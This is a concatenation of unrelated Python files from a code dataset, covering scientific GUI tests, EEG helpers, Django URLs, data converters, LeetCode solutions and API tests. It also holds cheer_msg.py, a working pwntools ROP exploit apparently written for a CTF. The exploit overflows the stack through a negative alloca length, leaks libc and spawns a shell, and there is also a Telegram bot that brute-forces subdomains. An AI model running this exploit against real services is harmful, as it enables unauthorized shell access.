click_checkbox(self.extrapolation_widget.poly_extrapolation_rb)\n after_q, after_sq = self.data.sq_pattern.limit(0, 2).data\n\n self.assertFalse(np.array_equal(prev_sq, after_sq))\n\n\n def test_polynomial_parameters(self):\n if not self.extrapolation_widget.activate_cb.isChecked():\n click_checkbox(self.extrapolation_widget.activate_cb)\n\n click_checkbox(self.extrapolation_widget.poly_extrapolation_rb)\n\n # lets change the q_Max parameter and see that it does affect the pattern\n prev_q, prev_sq = self.data.sq_pattern.limit(0, 2).data\n set_widget_text(self.extrapolation_widget.q_max_txt, 1.5)\n after_q, after_sq = self.data.sq_pattern.limit(0, 2).data\n\n self.assertFalse(np.array_equal(prev_sq, after_sq))\n\n # there seems to be a strange connection between the two parts, lets use the replace option and see the change\n prev_q, prev_sq = self.data.sq_pattern.limit(0, 2).data\n click_checkbox(self.extrapolation_widget.replace_cb)\n after_q, after_sq = self.data.sq_pattern.limit(0, 2).data\n\n self.assertFalse(np.array_equal(prev_sq, after_sq))\n","sub_path":"glassure/tests/gui_tests/test_extrapolation.py","file_name":"test_extrapolation.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"305731315","text":"#!/usr/bin/python\r\n#coding:utf-8\r\n#alloca函数用于分配栈空间,参数为负数时栈空间收缩\r\n\r\nfrom pwn import *\r\n\r\ncontext.update(arch = 'i386', os = 'linux', timeout = 1)\r\nio = remote('172.17.0.2', 10001)\r\n\r\nprintf_plt = 0x08048436\r\nfgets = 0x804a014\r\nmain = 0x80485ca\r\n\r\ne = ELF(\"./libc.so.6_x86\")\t\t#加载程序使用的libc库\r\n\r\npayload = \"\"\r\npayload += 'A'*48\t\t\t\t#padding\r\npayload += p32(printf_plt)\t\t#调用printf打印fgets在内存中的地址\r\npayload += p32(main)\t\t\t#printf函数执行完后返回到main\r\npayload += p32(fgets)\t\t\t#fgets函数地址,提供给printf函数\r\n\r\nio.recvuntil(\"Message Length >> \")\t\r\nio.sendline(\"-95\")\t\t\t\t#alloca函数用于分配栈空间,参数为负数时栈空间收缩,从而在main函数造成栈溢出\r\nio.recvuntil(\"Name >> \")\r\nio.sendline(payload)\r\nio.recvuntil(\"Message : \")\r\nio.recvline()\r\n\r\nfgets_leak = u32(io.recvn(4))\t#获取到fgets函数的内存地址\r\nlog.info(\"fgets_got: {}\".format(hex(fgets_leak)))\t\r\nlibc_start = fgets_leak - e.symbols[\"fgets\"]\t#获取libc库在内存中的首地址\r\nlog.info(\"libc: {}\".format(hex(libc_start)))\r\nsystem = libc_start + e.symbols[\"system\"]\t\t#获取system函数的地址\r\nbinsh = libc_start + next(e.search(\"/bin/sh\"))\t#获取/bin/sh字符串地址\r\n\r\npayload = \"\"\r\npayload += 'A'*48\t\t\t\t#padding\r\npayload += p32(system)\t\t\t#调用system函数执行system(\"/bin/sh\")\r\npayload += p32(0)\t\t\t\t#system函数返回的地址,随便填\r\npayload += p32(binsh)\t\t\t#\"/bin/sh\"字符串,system的参数\r\n\r\nio.recvuntil(\"Message Length >> \")\r\nio.sendline(\"-95\")\t\t\t\t#alloca函数用于分配栈空间,参数为负数时栈空间收缩,从而在main函数造成栈溢出\r\nio.recvuntil(\"Name >> \")\r\nio.sendline(payload)\r\n\r\nio.interactive()","sub_path":"example/ROP/cheer_msg.py","file_name":"cheer_msg.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"456984974","text":"import numpy as np\nimport mne\n\ndef trigger_downsample(x, r, phase):\n for i in range(phase + r, len(x), r):\n if i == phase + r:\n y = np.sum(x[(i-r):i])\n else:\n y = np.append(y, np.sum(x[(i-r):i]))\n return y\n\ndef CSP(Vt,Vnt):\n Ra = np.zeros((Vt.shape[0],Vt.shape[0],Vt.shape[2]))\n Rb = np.zeros((Vnt.shape[0],Vnt.shape[0],Vnt.shape[2]))\n \n for i in range(Vt.shape[2]):\n Ra[:,:,i] = np.dot(Vt[:,:,i],Vt[:,:,i].transpose())/np.trace(np.dot(Vt[:,:,i],Vt[:,:,i].transpose()))\n Rb[:,:,i] = np.dot(Vnt[:,:,i],Vnt[:,:,i].transpose())/np.trace(np.dot(Vnt[:,:,i],Vnt[:,:,i].transpose()))\n \n Ra = np.mean(Ra,axis=2)\n Rb = np.mean(Rb,axis=2)\n \n Rc = Ra + Rb\n \n Lambda,Bc = np.linalg.eig(Rc)\n Lambda = np.diag(Lambda)\n \n W = np.dot(np.sqrt(np.linalg.inv(Lambda)),Bc.transpose())\n \n Sa = np.dot(W,Ra)\n Sa = np.dot(Ra,np.linalg.inv(W))\n \n U,S,V = np.linalg.svd(Sa)\n \n H = np.dot(V.transpose(),W)\n \n return H\n\ndef Vectorizer(Data):\n temp = [0]*Data.shape[2]\n if Data.shape[2] == 0:\n return np.zeros(Data.shape[0]*Data.shape[1])\n for i in range(Data.shape[2]):\n temp[i] = np.array([]);\n for j in range(Data.shape[0]):\n temp[i] = np.append(temp[i],Data[j,:,i])\n #print(len(temp))\n vec = temp[0]\n for i in range(1,Data.shape[2]):\n vec = np.vstack((vec,temp[i]));\n return vec\n\ndef Epoch(Data,Trigger,Range,SelectedTrigger,Fs):\n Count = 0\n NumChannel = Data.shape[0]\n nTrigger = np.sum(Trigger == SelectedTrigger)\n EpochData = np.zeros((NumChannel, ((Range[1]-Range[0])*Fs).astype(np.int32), nTrigger))\n #BaseLineSingleTriggerEpochData = np.zeros((NumChannel, 1, nTrigger))\n for j in range(Trigger.shape[0]):\n if Trigger[j] == SelectedTrigger:\n EpochData[:, :, Count] = Data[:, j+(np.floor(Range[0]*Fs)).astype(np.int32):j+(np.floor(Range[1]*Fs)).astype(np.int32)]\n #BaseLineSingleTriggerEpochData[:, :, Count] = np.reshape((Data[:, j+(np.floor(BaseLineRange[0]*Fs)).astype(np.int32):j+(np.floor(BaseLineRange[1]*Fs)).astype(np.int32)]).mean(axis=1), (NumChannel, 1))\n Count += 1\n #EpochData = SingleTriggerEpochData\n #BaseLineData[i] = BaseLineSingleTriggerEpochData \n return EpochData\n \ndef BaseLine(Data,Trigger,Range,SelectedTrigger,Fs):\n Count = 0\n NumChannel = Data.shape[0]\n nTrigger = np.sum(Trigger == SelectedTrigger)\n #SingleTriggerEpochData = np.zeros((NumChannel, ((Range[1]-Range[0])*Fs).astype(np.int32), nTrigger))\n BaseLineSingleTriggerEpochData = np.zeros((NumChannel, 1, nTrigger))\n for j in range(Trigger.shape[0]):\n if Trigger[j] == SelectedTrigger:\n #SingleTriggerEpochData[:, :, Count] = Data[:, j+(np.floor(Range[0]*Fs)).astype(np.int32):j+(np.floor(Range[1]*Fs)).astype(np.int32)]\n BaseLineSingleTriggerEpochData[:, :, Count] = np.reshape((Data[:, j+(np.floor(Range[0]*Fs)).astype(np.int32):j+(np.floor(Range[1]*Fs)).astype(np.int32)]).mean(axis=1), (NumChannel, 1))\n Count += 1\n #EpochData = SingleTriggerEpochData\n BaseLineData = BaseLineSingleTriggerEpochData\n return BaseLineData\n \n \ndef getTrig(raw,Ns):\n events = mne.events_from_annotations(raw)[0]\n events = events[1:-1,:]\n Trigger = np.zeros(Ns)\n for i in range(events.shape[0]):\n Trigger[events[i,0]] = events[i,2]\n return Trigger","sub_path":"Python/scripts/bcipy.py","file_name":"bcipy.py","file_ext":"py","file_size_in_byte":3458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"238772121","text":"from multiprocessing import Process\n\n#执行子进程代码\ndef test(interval):\n print(\"我是子进程\")\n\n#执行主程序\ndef main():\n print(\"主进程开始\")\n p = Process(target=test,args=(1,)) #实例化Process进程类\n p.start() #启动子进程\n print(\"主进程结束\")\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"ProcessAndThread/Process/demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"520079339","text":"from collections import deque, namedtuple\nimport threading\nimport time\nfrom os import getenv, chdir\nfrom telebot import TeleBot, util\nfrom telebot.apihelper import ApiException\nfrom subbrute import subbrute\n\n\napi_key = getenv('BOT_DNS')\nif not api_key: exit('Api key not found on env!')\nbot = TeleBot(api_key)\n\n\nfila = deque(maxlen=10) # type: deque\nUser = namedtuple('User',['uid','domain']) # type: namedtuple\n\n@bot.message_handler(commands=['sub', 'Sub'])\ndef order_consult_subdomain(msg):\n if msg.chat.type != 'private':\n return bot.send_message(msg.chat.id, 'Somente em privado.')\n elif len(fila) >= fila.maxlen:\n return bot.send_message(msg.chat.id,\n 'Estamos com o máximo de {} pessoas na fila, aguarde alguns instantes!'.format(fila.maxlen))\n \n target = util.extract_arguments(msg.text)\n if not target: \n bot.send_message(msg.chat.id, 'Não entendi domínio.')\n elif user_in_deque(msg.from_user.id):\n bot.send_message(msg.chat.id, 'Você já tem um pedido em espera!')\n else:\n user_order = User(uid=msg.from_user.id, domain=target)\n fila.append(user_order)\n bot.send_message(msg.chat.id, \"Sua consulta ao domínio %s foi adicionada a fila!\\nTamanho da fila: %s.\" %(target, len(fila)))\n\ndef user_in_deque(uid):\n for u in fila:\n if u.uid == uid:\n return True\n \ndef consult_subdomains_in_deque():\n subnames = set()\n while True:\n if not fila:\n time.sleep(5)\n else:\n user_order = fila.pop()\n domain, uid = user_order.domain, user_order.uid\n try:\n bot.send_message(uid, 'Começando a procurar os subdomínios de %s aguarde os envios. Tempo médio: 30 min.' %domain)\n for sub in subbrute.run(domain, query_type=\"ANY\", subdomains='subbrute/names_small.txt'):\n \n if sub[0] not in subnames:\n subnames.add(sub[0])\n bot.send_message(uid, sub[0])\n bot.send_message(uid, 'Consulta finalizada!')\n except ApiException as error:\n print(\"erro ao enviar mensagem -- \", error)\n\ndef start_bot():\n bot.polling(none_stop=False, timeout=60)\n \nthreading.Thread(target=start_bot, name='startbot').start()\nprint('Executando bot...')\nconsult_subdomains_in_deque()\n\n\n\n","sub_path":"subdnsenum.py","file_name":"subdnsenum.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"556454273","text":"from django.urls import path\nfrom django.contrib.auth.views import LoginView, LogoutView\nfrom . import views\n\napp_name = \"accounts\"\n\nurlpatterns = [\n path('login/', LoginView.as_view(template_name = 'accounts/login.html'), name='login'),\n path('logout/', views.logout, name='logout'),\n path('join/', views.join, name='join'),\n path('mypage/', views.mypage, name='mypage'),\n path('report/', views.report, name='report'),\n path('reward/', views.reward, name='reward'),\n]\n\n\n","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"633328956","text":"#!/usr/bin/python\n\ndictionnaire = {\"un\": 1, \"deux\": 2} \n\ntry:\n\tprint(dictionnaire[\"deux\"])\n\ttest = 2 / 0 \nexcept\tKeyError:\n\tdictionnaire[\"trois\"] = 3\n\tprint(dictionnaire[\"trois\"])\nexcept:\n\tprint(\"Autre erreur !\")\n\traise\nelse:\t\n\tprint(\"AUcune erreur.\")\nfinally:\n\tprint(\"C'est fini\")\n\n","sub_path":"PYTHON/propagation-error1.py","file_name":"propagation-error1.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"635853097","text":"#!/usr/bin/python\n\nimport exp_utils\n\ntrainer = '/Users/lnyang/lab/qd/qd/train_model.py'\n\nbase_dir = '/Users/lnyang/lab/qd/data/experiments/L'\ntrain_dir = '%s/train' % base_dir\nmodel_dir = '%s/models' % base_dir\nvalidate_dir = '%s/validate' % base_dir\n\n#percs = [0.4, 0.6, 0.8, 1.0]\n#Cs = [0.1, 1.0, 10.0]\n\npercs = [1.0]\nCs = [0.01, 0.03, 0.3, 3.0, 30.0, 100.0]\n\ndata_file = '%s/data' % train_dir\nlabel_file = '%s/label' % train_dir\n\nvdata_file = '%s/data' % validate_dir\nvlabel_file = '%s/label' % validate_dir\n\ninfo_file = '%s/LogisticRegression_info' % base_dir\ninfo_fp = open(info_file, 'w')\nprint >> info_fp, '\\t'.join(\n ['perc', 'C', 'train_precision', 'validate_precision', 'train_recall', 'validate_recall'])\n\nfor perc in percs:\n for C in Cs:\n # Train model.\n model_def = ('LogisticRegression(C=%f)' % C)\n model_file = '%s/LogisticRegression-%f-%f' % (model_dir, perc, C)\n exp_utils.trainModel(trainer, data_file, label_file, model_def, perc,\n model_file)\n\n # Compute training error.\n train_tp, train_tn, train_fp, train_fn = exp_utils.computeClsError(\n model_file, data_file, label_file)\n train_precision = float(train_tp) / (train_tp + train_fp)\n train_recall = float(train_tp) / (train_tp + train_fn)\n\n # Compute validation error.\n validate_tp, validate_tn, validate_fp, validate_fn = exp_utils.computeClsError(\n model_file, vdata_file, vlabel_file)\n validate_precision = float(validate_tp) / (validate_tp + validate_fp)\n validate_recall = float(validate_tp) / (validate_tp + validate_fn)\n\n print >> info_fp, '\\t'.join(\n ['%f' % perc, '%f' % C, '%f' % train_precision,\n '%f' % validate_precision, '%f' % train_recall,\n '%f' % validate_recall])\n info_fp.flush()\n\ninfo_fp.close()\n\n","sub_path":"scripts/experiments/L-LogisticRegression.py","file_name":"L-LogisticRegression.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"497149604","text":"#! /usr/bin/env python\n#\n# (c) UWA, The University of Western Australia\n# M468/35 Stirling Hwy\n# Perth WA 6009\n# Australia\n#\n# Copyright by UWA, 2012-2015\n# All rights reserved\n#\n# This library is free software; you can redistribute it and/or\n# modify it under the terms of the GNU Lesser General Public\n# License as published by the Free Software Foundation; either\n# version 2.1 of the License, or (at your option) any later version.\n#\n# This library is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public\n# License along with this library; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n# MA 02111-1307 USA\n#\n\"\"\"\nConvert a GAMA fits file to the MAGPHYS format\n\"\"\"\nimport argparse\nimport logging\nimport os\nimport fitsio\n\nLOG = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.INFO, format='%(asctime)-15s:' + logging.BASIC_FORMAT)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('fits_file_name', nargs=1, help='the FITS file to use')\n parser.add_argument('dat_file_name', nargs=1, help='the dat file to write')\n args = vars(parser.parse_args())\n\n dat_file_name = args['dat_file_name'][0]\n fits_file_name = args['fits_file_name'][0]\n\n if not os.path.exists(fits_file_name):\n LOG.error('The file {0} does not exist'.format(fits_file_name))\n return\n\n LOG.info('Reading {0}'.format(fits_file_name))\n with open(dat_file_name, 'w', 1) as dat_file:\n with fitsio.FITS(fits_file_name, iter_row_buffer=1000) as fits:\n # The table is in the first extension\n data = fits[1].read()\n length_row = len(data[0]) - 1\n line_count = 0\n for row in data:\n line_count += 1\n if line_count % 1000 == 0:\n LOG.info('Read {0} lines from the FITS file'.format(line_count))\n\n # Ignore the last columns as it is the reference to the galaxy\n for x in range(0, length_row):\n # Convert to a string from the Numpy type\n dat_file.write(str(row[x]))\n dat_file.write(' ')\n\n dat_file.write('\\n')\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"src/convert_fits2magphys_fitsio.py","file_name":"convert_fits2magphys_fitsio.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"234192654","text":"#Вводится одно целое четырехзначное число. Выведите максимальную цифру числа.\n\n\nnumber = int(input(\"Введите целое четырехзначное число \"))\n\nfirst_digit = number // 1000\nsecond_digit = number % 1000 // 100\nthrid_digit = number % 100 // 10\nfourth_digit = number % 10\n\nmax_digit = max(first_digit,second_digit,thrid_digit,fourth_digit)\n\nprint('У числа {0} максимальная цифра равна {1}'.format(number,max_digit))","sub_path":"lesson4/task6.py","file_name":"task6.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"314327685","text":"import xlrd\nfrom datetime import datetime\nfrom datetime import timedelta\nimport pymongo\nimport random\n\nfile = \"veri.xlsx\"\n\nworkbook = xlrd.open_workbook(file)\nworksheet = workbook.sheet_by_index(0)\n\n# başlıkları çekiyorum\nfirst_row = []\nfor col in range(worksheet.ncols):\n first_row.append(worksheet.cell_value(0, col))\n\n# excel datalarını topluyorum\ndata = []\nfor row in range(1, worksheet.nrows):\n elm = {}\n for col in range(worksheet.ncols):\n elm[first_row[col]] = worksheet.cell_value(row, col)\n data.append(elm)\n\n# tüm dataların toplanması için boş bir dizi oluşturuyorum.\ninsertData = []\n\nfirstDate = datetime(2011, 1, 1, 0)\nlastDate = datetime(2012, 12, 31, 23)\n\ndatesDate = []\n# iki tarih aralığındaki tüm saatleri eksiksiz bir şekilde mongo ya basıyorum\nwhile firstDate <= lastDate:\n # print(firstDate)\n firstDate = firstDate + timedelta(hours=1)\n newData = {\n \"Date\": firstDate,\n \"Windspeed\": \"\",\n \"Direction\": \"\"\n }\n datesDate.append(newData)\n\nmongoClient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\ndb = mongoClient[\"Homework\"]\nwindData = db[\"WindData2\"]\n# tüm tarihlerin mognoya basıldığı kısım\nwindData.insert(datesDate)\n\n# rüzgar hızı olan datalar mongoya update ediliyor.\nfor item in data:\n if item[\"Gün\"]:\n day = int(item[\"Gün\"])\n\n if item[\"Ay\"]:\n month = int(item[\"Ay\"])\n\n if item[\"Yıl\"]:\n year = int(item[\"Yıl\"])\n\n if item[\"Saat (UTC)\"]:\n hour = int(item[\"Saat (UTC)\"])\n\n date1 = datetime(year, month, day, hour)\n\n dateQuery = {\n \"Date\": date1\n }\n\n if item[\"Hiz\"]:\n windsplit = item[\"Hiz\"].replace(\" \", \" \").split(\" \")\n windSpeed = windsplit[0]\n windDirection = windsplit[1]\n # print(windSpeed, windDirection)\n else:\n windSpeed = \"\"\n windDirection = \"\"\n\n newData = {\n \"Date\": date1,\n \"Windspeed\": windSpeed,\n \"Direction\": windDirection\n }\n\n windData.update_one({\n 'Date': date1\n }, {\n '$set': {\n 'Windspeed':windSpeed,\n \"Direction\": windDirection\n }\n }, upsert=False)\n print(date1,\"rüzgar bilgisi update ediliyor\")\n #insertData.append(newData)\n #print(newData)\n\nwindList = windData.find({})\n\nfor item in windList:\n if(not item['Windspeed']):\n lastDate = item['Date']\n last10data = windData.find({\n \"Windspeed\": {\"$ne\": ''},\n \"Date\": {\n \"$lt\": lastDate\n }\n }).limit(10).sort(\"Date\", pymongo.DESCENDING)\n\n last10speed = []\n last10direction = []\n for wind in last10data:\n last10speed.append(wind[\"Windspeed\"])\n last10direction.append(wind[\"Direction\"])\n\n randomSpeed = random.choice(last10speed)\n randomDirection = random.choice(last10direction)\n print(randomSpeed, randomDirection,\"tahmin edilen rüzgar bilgisi\")\n\n windData.update_one({\n 'Date': lastDate\n }, {\n '$set': {\n 'Windspeed': randomSpeed,\n \"Direction\": randomDirection\n }\n }, upsert=False)\n\n\n#mongoClient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n#db = mongoClient[\"Homework\"]\n#windData = db[\"WindData\"]\n\n# mongo ya insert ediyorum.\n#windData.insert(insertData)\n","sub_path":"WindInserter.1.py","file_name":"WindInserter.1.py","file_ext":"py","file_size_in_byte":3359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"527380623","text":"\"\"\"\n给出矩阵 matrix 和目标值 target,返回元素总和等于目标值的非空子矩阵的数量。\n\n子矩阵 x1, y1, x2, y2 是满足 x1 <= x <= x2 且 y1 <= y <= y2 的所有单元 matrix[x][y] 的集合。\n\n如果 (x1, y1, x2, y2) 和 (x1', y1', x2', y2') 两个子矩阵中部分坐标不同(如:x1 != x1'),那么这两个子矩阵也不同。\n\n \n\n示例 1:\n\n输入:matrix = [[0,1,0],[1,1,1],[0,1,0]], target = 0\n输出:4\n解释:四个只含 0 的 1x1 子矩阵。\n示例 2:\n\n输入:matrix = [[1,-1],[-1,1]], target = 0\n输出:5\n解释:两个 1x2 子矩阵,加上两个 2x1 子矩阵,再加上一个 2x2 子矩阵。\n \n\n提示:\n\n1 <= matrix.length <= 300\n1 <= matrix[0].length <= 300\n-1000 <= matrix[i] <= 1000\n-10^8 <= target <= 10^8\n通过次数2,529提���次数5,140\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/number-of-submatrices-that-sum-to-target\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\"\"\"\n\nfrom typing import *\n\n\nclass Solution:\n # def calcMatrixSum(self, matrix: List[List[int]]):\n # height, length = len(matrix), len(matrix[0])\n # sum_record = [[0 for _ in range(length)] for _ in range(height)]\n # sum_record[0][0] = matrix[0][0]\n # for i in range(1, length):\n # sum_record[0][i] = sum_record[0][i - 1] + matrix[0][i]\n # for j in range(1, height):\n # sum_record[j][0] = sum_record[j - 1][0] + matrix[j][0]\n #\n # for i in range(1, height):\n # for j in range(1, length):\n # sum_record[i][j] = sum_record[i - 1][j] + sum_record[i][j - 1] - sum_record[i - 1][j - 1] + matrix[i][j]\n #\n # return sum_record\n #\n # def numSubmatrixSumTarget(self, matrix: List[List[int]], target: int) -> int:\n # sum_record = self.calcMatrixSum(matrix)\n # height, length, count = len(matrix), len(matrix[0]), 0\n #\n # for i in range(0, height):\n # for j in range(0, length):\n # for m in range(i, height):\n # for n in range(j, length):\n # a = sum_record[m][n]\n # b = sum_record[m][j-1] if j>0 else 0\n # c = sum_record[i-1][n] if i>0 else 0\n # d = sum_record[i-1][j-1] if i>0 and j>0 else 0\n # cur_sum = a - b - c + d\n # # if i == m and j == n:\n # # cur_sum = matrix[i][j]\n # # elif i == m:\n # # cur_sum = sum_record[m][n] -\n # # cur_sum = sum_record[m][n] - sum_record[m][j] - sum_record[i][n] + sum_record[i][j]\n # if cur_sum == target:\n # print(\"({}, {})->({}, {})\".format(i, j, m, n))\n # count += 1\n # return count\n\n def calcMatrixPreSum(self, matrix: List[List[int]]):\n height, length = len(matrix), len(matrix[0])\n sum_record = [[0 for _ in range(length)] for _ in range(height)]\n for j in range(length):\n sum_record[0][j] = matrix[0][j]\n\n for i in range(1, height):\n for j in range(length):\n sum_record[i][j] = sum_record[i-1][j] + matrix[i][j]\n\n return sum_record\n\n def subarraySum(self, nums: List[int], k: int) -> int:\n presum, count, pre = dict(), 0, 0\n presum[pre] = 1\n for i in range(len(nums)):\n pre += nums[i]\n if pre - k in presum:\n count += presum[pre - k]\n presum[pre] = presum.get(pre, 0) + 1\n return count\n\n def numSubmatrixSumTarget(self, matrix: List[List[int]], target: int) -> int:\n sum_record = self.calcMatrixPreSum(matrix)\n height, length, count = len(matrix), len(matrix[0]), 0\n\n for i in range(height):\n for j in range(i, height):\n if i == j:\n nums = matrix[i]\n elif i == 0:\n nums = sum_record[j]\n else:\n nums = [sum_record[j][col] - sum_record[i-1][col] for col in range(length)]\n count += self.subarraySum(nums, target)\n\n return count\n\n\nif __name__=='__main__':\n s = Solution()\n print(s.numSubmatrixSumTarget([[0,1,0],[1,1,1],[0,1,0]], 0))","sub_path":"1074_numSubmatrixSumTarget.py","file_name":"1074_numSubmatrixSumTarget.py","file_ext":"py","file_size_in_byte":4429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"313146807","text":"# Copyright 2018 Contributors to Hyperledger Sawtooth\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# -----------------------------------------------------------------------------\n\"\"\"Integration tests for pack APIs\"\"\"\nimport requests\nfrom tests.utilities import (\n create_test_user,\n delete_user_by_username,\n delete_role_by_name,\n delete_pack_by_name,\n)\n\n\ndef create_fake_pack(session, user_id, role_id):\n \"\"\"Create a new fake pack resource\"\"\"\n pack_resource = {\"name\": \"My Pack\", \"owners\": user_id, \"roles\": role_id}\n session.post(\"http://rbac-server:8000/api/packs\", json=pack_resource)\n\n\ndef create_fake_role(session, user_id):\n \"\"\"Create a new fake role resource\"\"\"\n role_resource = {\"name\": \"Manager\", \"owners\": user_id, \"administrators\": user_id}\n response = session.post(\"http://rbac-server:8000/api/roles\", json=role_resource)\n return response\n\n\ndef test_create_duplicate_pack():\n \"\"\"Create a new fake role resource\"\"\"\n with requests.Session() as session:\n user_payload = {\n \"name\": \"Susan Susanson\",\n \"username\": \"susan21\",\n \"password\": \"123456\",\n \"email\": \"susan@biz.co\",\n }\n user_response = create_test_user(session, user_payload)\n user_id = user_response.json()[\"data\"][\"user\"][\"id\"]\n role_response = create_fake_role(session, user_id)\n role_id = role_response.json()[\"data\"][\"id\"]\n create_fake_pack(session, user_id, role_id)\n pack_resource = {\"name\": \"My Pack\", \"owners\": user_id, \"roles\": role_id}\n response = session.post(\"http://rbac-server:8000/api/packs\", json=pack_resource)\n assert (\n response.json()[\"message\"]\n == \"Error: Could not create this pack because the pack name already exists.\"\n )\n assert response.json()[\"code\"] == 400\n delete_user_by_username(\"susan21\")\n delete_role_by_name(\"Manager\")\n delete_pack_by_name(\"My Pack\")\n\n\ndef test_duplicate_pack_with_spaces():\n \"\"\"Create a new fake role resource with varying spaces in between the name\"\"\"\n with requests.Session() as session:\n user_payload = {\n \"name\": \"Susan Susanson\",\n \"username\": \"susan21\",\n \"password\": \"123456\",\n \"email\": \"susan@biz.co\",\n }\n user_response = create_test_user(session, user_payload)\n user_id = user_response.json()[\"data\"][\"user\"][\"id\"]\n role_response = create_fake_role(session, user_id)\n role_id = role_response.json()[\"data\"][\"id\"]\n create_fake_pack(session, user_id, role_id)\n pack_resource = {\n \"name\": \" My Pack \",\n \"owners\": user_id,\n \"roles\": role_id,\n }\n response = session.post(\"http://rbac-server:8000/api/packs\", json=pack_resource)\n assert (\n response.json()[\"message\"]\n == \"Error: Could not create this pack because the pack name already exists.\"\n )\n assert response.json()[\"code\"] == 400\n delete_user_by_username(\"susan21\")\n delete_role_by_name(\"Manager\")\n delete_pack_by_name(\"My Pack\")\n","sub_path":"tests/integration/server/pack_api_test.py","file_name":"pack_api_test.py","file_ext":"py","file_size_in_byte":3643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"243331700","text":"from sqlalchemy import create_engine, Column, Integer, String, Boolean, Date, ForeignKey\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker, relationship, class_mapper\nimport logging\nimport random\n\nlogging.basicConfig(filename='./log.txt', format='%(asctime)s :: %(name)s :: %(message)s')\nlogger = logging.getLogger(__name__)\n\nlogger.info(\"Creating database.\")\n\npassword_file = open(\"pass.txt\", 'r')\npassword = password_file.read().strip()\npassword_file.close()\n\nfile_name = \"hr.myd\"\nengine = create_engine('mysql+mysqldb://root:' + password + '@localhost/343DB', echo=True)\nengine.connect()\nBase = declarative_base()\n\nlogger.info(\"Database Created.\")\n\n\nclass Employee(Base):\n __tablename__ = 'employee'\n id = Column(Integer, primary_key=True)\n is_active = Column(Boolean)\n last_name = Column(String(25))\n first_name = Column(String(25))\n email = Column(String(50))\n birth_date = Column(Date)\n start_date = Column(Date)\n orders = Column(Integer)\n phones = Column(Integer)\n\n # This allows for reference to this employee's details without extra searching\n addresses = relationship(\"Address\", back_populates=\"employee\", cascade=\"all, delete-orphan\", passive_deletes=True)\n titles = relationship(\"Title\", back_populates=\"employee\", cascade=\"all, delete-orphan\", passive_deletes=True)\n departments = relationship(\"Department\", back_populates=\"employee\", cascade=\"all, delete-orphan\", passive_deletes=True)\n salary = relationship(\"Salary\", back_populates=\"employee\", cascade=\"all, delete-orphan\", passive_deletes=True)\n\n def __repr__(self):\n return \"\" % (self.id, self.is_active, self.amount)\n\n def to_str(self):\n return self.amount\n\n\nclass Address(Base):\n __tablename__ = 'address'\n id = Column(Integer, primary_key=True)\n is_active = Column(Boolean)\n street_address = Column(String(50))\n city = Column(String(25))\n state = Column(String(25))\n zip = Column(String(5))\n start_date = Column(Date)\n\n # Allows for reference to the employee object without search\n employee_id = Column(Integer, ForeignKey(Employee.id, ondelete='CASCADE'))\n employee = relationship(\"Employee\", back_populates=\"addresses\")\n\n def __repr__(self):\n return \"\" % (self.id, self.is_active, self.employee_id, self.street_address,\n self.city, self.state, self.zip, self.start_date)\n\n def to_str(self):\n return \"%s, %s, %s %s\" % (self.street_address, self.city, self.state, self.zip)\n\n\nclass Title(Base):\n __tablename__ = 'title'\n id = Column(Integer, primary_key=True)\n is_active = Column(Boolean)\n name = Column(String(25))\n start_date = Column(Date)\n\n # Allows for reference to the employee object without search\n employee_id = Column(Integer, ForeignKey(Employee.id, ondelete='CASCADE'))\n employee = relationship(\"Employee\", back_populates=\"titles\")\n\n def __repr__(self):\n return \"\" % (self.id, self.employee_id, self.is_active, self.name, self.start_date)\n\n def to_str(self):\n return \"%s\" % self.name\n\n\nclass 